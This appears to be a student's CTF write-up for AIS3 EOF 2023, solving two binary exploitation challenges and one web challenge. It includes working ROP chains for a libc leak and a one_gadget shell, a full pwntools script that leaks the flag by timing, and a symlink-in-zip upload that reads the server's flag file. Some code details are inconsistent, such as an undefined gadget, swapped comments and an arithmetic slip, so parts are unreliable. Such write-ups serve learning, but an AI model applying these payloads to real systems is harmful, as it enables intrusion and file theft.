# AIS3 EOF 2023 初賽
## PWN
### real_rop
#### Description
* Challenge [URL](https://share.ctf.zoolab.org/)
* Folder structure:
```
Share
├── share
│ ├── chal
│ ├── flag
│ ├── Makefile
│ ├── real_rop++.c
│ └── run.sh
├── docker-compose.yaml
├── Dockerfile
└── xinetd
```
#### Original Code
```cpp!
#include <unistd.h>
int main()
{
char buf[0x10];
read(0, buf, 0x30);
write(1, buf, 0x30);
return 0;
}
```
```make!
gcc -fno-stack-protector -o chal real_rop++.c
```
* Obviously buffer overflow but not much
* Preliminary idea is `one_gadget`
* Check protector
```bash!
$ checksec chal
[*] '/home/sbk6401/CTF/AIS3/PWN/real_rop/share/chal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
* `PIE` is enabled → use write function to leak `libc` address
* `Full RELRO` → cannot use `GOT hijacking`
* Refer to [大神write up](https://hackmd.io/Prmz9YuOQsiHGXrTuYMzFw?view#Real_rop), we cannot leak `libc` address and get shell at one time. So, we can control `$rip` and return to the beginning of `main` function and go through the process again. That is, <font color="FF0000">we have another `read` function</font> to fill in `one_gadget`.
* Note that, **the version of Ubuntu and Glibc is VERY VERY important**, according to `Dockerfile`, it seems use Ubuntu 20.04 with default
```dockerfile!
FROM ubuntu:20.04
MAINTAINER u1f383
RUN apt-get update && \
DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd
RUN useradd -m chal
RUN chown -R root:root /home/chal
RUN chmod -R 755 /home/chal
CMD ["/usr/sbin/xinetd", "-dontfork"]
```
#### Analyze where to return
* <font color="FF0000">**`For Ubuntu 22.04 & GLIBC 2.35` - back to `__libc_start_main+121`**</font>
```bash!
$ gdb chal
pwndbg> starti
pwndbg> vmmap
```

```bash!
pwndbg> b _start
Breakpoint 15 at 0x555555555080 (2 locations)
pwndbg> c
```

```bash!
pwndbg> pwndbg> b __libc_start_main
Breakpoint 16 at 0x7ffff7db8dc0: file ../csu/libc-start.c, line 242.
pwndbg> c
pwndbg> ni # until <__libc_start_main+123>
```

```bash!
pwndbg> s
pwndbg> ni # until <__libc_start_main+123>
```

```bash!
pwndbg> s
```

```bash!
pwndbg> ni # until <main+62>
```

### Overall, the sequence is:
```bash!
_start → 0x0000555555555080
__libc_start_main+123 → 0x00007ffff7db8e3b
__libc_start_call_main+126 → 0x00007ffff7db8d8e
```
```bash!
_start
...
_start+31
↓
__libc_start_main
...
__libc_start_main+123
↓
__libc_start_call_main
...
__libc_start_call_main+126
↓
main
...
__libc_start_call_main+128
__libc_start_call_main+130
↓
exit
```
* <font color="FF0000">**`For Ubuntu 20.04 & GLIBC 2.31` - back to `__libc_start_main+236`**</font>
Whole processes are almost the same as above, just the sequence is different
### Overall, the sequence is:
```bash!
_start
...
_start+40
↓
__libc_start_main
...
__libc_start_main+241
↓
main
...
__libc_start_main+243
__libc_start_main+245
↓
exit
```

#### Exploit - leak `libc` address + one_gadget
<font color="FF0000">Use Ubuntu 20.04 that the same as remote server</font>
1. Try to control `$rip` and return to beginning
We can observe stack at the end of `main` function. It'll always return to `__libc_start_main+243`. Therefore, we can padding garbage bytes and overlap the last byte of `$rip`.

```python!
payload = p64(0) * 3 + int.to_bytes(124, 1, 'little')
```
According to the derivation of last section, we should return to `__libc_start_main+236`(the address is `0x7ffff7df007c` for temp) and the address of `__libc_start_main+243` is `0x7ffff7df0083`(temp), so that we just modify the last bytes → $0x73=124$

2. Try to leak `libc` offset - `write` function + `gdb`
We can observe stack situation before sending payload. The first 3\*8 bytes are garbage bytes that we filled at first round.

```python!
r.recv(0x18)
libc_addr = u64(r.recv(6) + b'\x00\x00') - 0x24083 + 0x7
```
Skip garbage bytes first then receive 6 bytes. Note that `- 0x24083 + 0x7` is try and error so that it can be `0x7f07a24fb00`(temp) checked by `vmmap`.

3. Construct `one_gadget`
Use `vmmap` to check which `libc` version be used - <font color="FF0000">`/lib/x86_64-linux-gnu/libc-2.31.so`</font>

```bash!
$ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so
...
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
...
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so --only "pop|ret" --multibr > one_gadget
$ vim one_gadget
```
```python!
pop_r15_ret = libc_addr + 0x2a3e4
pop_r12_ret = libc_addr + 0x2f709
r.send(p64(0) * 3 + p64(pop_r12_ret) + p64(0) + p64(libc_addr+0xe3afe))
```
<font color="FF0000">Note that</font> `$r15` has NULL already before `read` function, so it's no need to send `pop_r15_ret`.

4. Then we got shell!!!

#### Reference
[gdb指令](https://lu-yi-hsun.github.io/posts/reverse/gdb/#dwarf)
[Linux中誰來呼叫C語言中的main?](http://wen00072.github.io/blog/2015/02/14/main-linux-whos-going-to-call-in-c-language/)
[Docker exec 命令](https://www.runoob.com/docker/docker-exec-command.html)
### how2know_revenge
#### Description
* Challenge: `nc edu-ctf.zoolab.org 10012`
* Environment Version: Ubuntu 20.04
* Folder structure:
```
Share
├── share
│ ├── chal
│ ├── flag
│ ├── Makefile
│ ├── how2know_revenge.c
│ └── run.sh
├── docker-compose.yaml
├── Dockerfile
└── xinetd
```
#### Original Code
```cpp!=
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>
static char flag[0x30];
int main()
{
char addr[0x10];
int fd;
scmp_filter_ctx ctx;
fd = open("/home/chal/flag", O_RDONLY);
if (fd == -1)
perror("open"), exit(1);
read(fd, flag, 0x30);
close(fd);
write(1, "talk is cheap, show me the rop\n", 31);
read(0, addr, 0x1000);
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
seccomp_release(ctx);
return 0;
}
```
```bash!
$ gcc -static -fno-stack-protector -o chal how2know_revenge.c -lseccomp
$ checksec chal
[*] '/home/sbk6401/CTF/AIS3/PWN/how2know_revenge/share/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
##### Description & Preliminary Idea
The whole process flow is almost the same as [how2know](/jHf3sAfOTveOIguRGXXmwQ). The difference is global variable turned into local variable and it has buffer overflow obviously. So, we can find various `ROP` and access into it and brute force to compare the single char of the flag.
#### Exploit - `ROP` + [how2know](/jHf3sAfOTveOIguRGXXmwQ)
1. Find `flag` address → <font color="FF0000">`0x4de2e0`</font>
```bash
$ objdump -d -M Intel chal | grep "<flag>"
401cfe: 48 8d 35 db c5 0d 00 lea 0xdc5db(%rip),%rsi # 4de2e0 <flag>
```
2. Create `ROP` chain
```bash!
$ ROPgadget --binary chal --multibr > rop_gadget
$ vim rop_gadget
```
```python!
pop_r14_ret = 0x402797
mov_eax_dword_ptr_rax_ret = 0x4022ee
cmp_al_r14b_ret = 0x438c15
jne_0x426148_ret = 0x426159
pop_rbx_ret = 0x401fa2
jmp_rbx = 0x4176fd
infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx)
ROP = flat(
pop_rax_ret, flag_addr+idx,
mov_eax_dword_ptr_rax_ret,
pop_r14_ret, guess,
cmp_al_r14b_ret,
jne_0x426148_ret,
)
ROP += infinite_loop
```
* Move the flag address to `$rax`, and move the flag string to `$eax` next
* Then put our guess single char to `$r14`
* Compare `$al` and `$r14b`
* If correct, go into infinity loop, otherwise, jump to `0x426148`
3. **How to know the single char in pwntool side?**
When the comparison is correct, it'll access into infinity loop and `recv` function will receive something then break while loop and close the connection, otherwise, it'll jump to `0x426148` and trigger timeout exception.
```python!
r.sendafter(b'rop\n',b'a'*0x28 + ROP)
try :
# If compare not correct, guess++ and access to infinity loop
r.recv(timeout=0.5)
break
except:
# If compare correct, pwntool will break out
guess += 1
r.close()
```
4. Repeat
```python!
flag = ''
idx = 0
while idx < 48:
guess = 0x20
while guess < 0x80 :
r = remote('edu-ctf.zoolab.org', 10012)
{create ROP}
r.sendafter(b'rop\n',b'a'*0x28 + ROP)
try :
...
except:
...
r.close()
idx += 1
flag += chr(guess)
```
* Whole exploit
```python!=
from pwn import *
context.arch = 'amd64'
flag_addr = 0x4de2e0
pop_r14_ret = 0x402797
mov_eax_dword_ptr_rax_ret = 0x4022ee
cmp_al_r14b_ret = 0x438c15
jne_0x426148_ret = 0x426159
pop_rbx_ret = 0x401fa2
jmp_rbx = 0x4176fd
infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx)
flag = ''
idx = 0
while idx < 53:
guess = 0x20
while guess < 0x80 :
# r = process('./chal')
r = remote('edu-ctf.zoolab.org', 10012)
ROP = flat(
pop_rax_ret, flag_addr+idx,
mov_eax_dword_ptr_rax_ret,
pop_r14_ret, guess,
cmp_al_r14b_ret,
jne_0x426148_ret,
)
ROP += infinite_loop
r.sendafter(b'rop\n',b'a'*0x28 + ROP)
try :
# If compare not correct, guess++ and access to infinity loop
r.recv(timeout=0.5)
break
except:
# If compare correct, pwntool will break out
guess += 1
r.close()
idx += 1
flag += chr(guess)
print(flag)
print(flag)
r.interactive()
```
* <font color="FF0000">Note that</font>: The exploit program will be affected by the internet connection and caused the result is wrong like this:
```
FLA!{CORORO_f8b7d5d23ad03512P6687384b7a2a/00}
'LAG{CORORO_f8b7d5d23ad03512d6687384b7a2a500}
*LAG{C*RORO_f8b7d5d23ad03512d6687384b7a2a500}
FLAG{CO#/RO_f8b7d5d23ad03512d6687384b7a2a500}
FLAG{CAMORO_f8b7d5d/3ad03512d6687384!7a2a500xX
```
Thus, you can run much more times to compare the result together so that you can patch up the flag correctly.
#### Reference
[EOF 2023](/SkxNKJBqi#how2_know_revenge)
## Web
### Share
#### Description
* Challenge [URL](https://share.ctf.zoolab.org/)
* Folder structure:
```
Share
├── Web
│ ├── src
│ │ ├── static
│ │ │ └── {None}
│ │ ├── template
│ │ │ ├── index.html
│ │ │ └── login.html
│ │ └── app.py
│ └── Dockerfile
├── docker-compose.yaml
└── flag
```
* This website function is let the user can upload compress folder <font color="FF0000">(\*.zip)</font> and the compress folder must contains a <font color="FF0000">`index.html`</font> file so that it can uncompress the folder then redirect to this new page.
* To solve this question, we must use [<font color="FF0000">**`symbolic link`**</font>](https://youtu.be/jdZsO2GAf2I)
#### Observation
* Main program first - **`app.py`**
This part is aim to unzip the compress folder and redirect to new page - `index.html` that the user provide
```python!
...
@app.route('/upload', methods=['POST'])
def upload_file():
if 'user' not in session:
return 'Login first'
if 'file' not in request.files or not request.files['file'].filename:
return 'Missing file'
_sub = session['user']
file = request.files['file']
tmppath = path.join('/tmp', urandom(16).hex())
realpath = safeJoin('/app/static', _sub)
if not realpath:
return 'No path traversal'
if not path.exists(realpath):
mkdir(realpath)
file.save(tmppath)
returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode
if returncode != 0:
return 'Not a zip file'
if not path.isfile(path.join(realpath, 'index.html')):
return '"index.html" not found'
return redirect(realpath[4:]+'/index.html', code=302)
...
```
* **`docker-compose.yaml`**
We can see that the flag is mounted on <font color="FF0000">`/flag.txt`</font>
```docker
version: '3.9'
services:
web:
build: web
restart: always
ports:
- 8080:5000
volumes:
- ./flag:/flag.txt:ro
```
#### Construct Payload
* So, our first idea is using symbolic link to create a `payload.txt` that link to `/flag.txt` and compress with `index.html` then upload to the web page.
* Payload
```bash!
touch index.html
ln -s /flag.txt payload.txt
zip --symlinks -ry index.zip payload.txt index.html
```
Then rewrite the URL like this: https://share.ctf.zoolab.org/static/123/payload.txt
<font color="FF0000">FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}</font>
#### Reference
[unzipper-ctftime](https://ctftime.org/writeup/31867)
[unzipper-mikecat](https://mikecat.github.io/ctf-writeups/2021/20211218_hxp_CTF_2021/WEB/unzipper/#en)
[unzipper-nandynarwhals](https://nandynarwhals.org/hxp-ctf-2021-unzipper/)
[電腦王-symbolic link](https://www.techbang.com/posts/12538-hard-links-soft-links-archives-does-not-fashu)
[Ithelp - symbolic link](https://ithelp.ithome.com.tw/articles/10222754)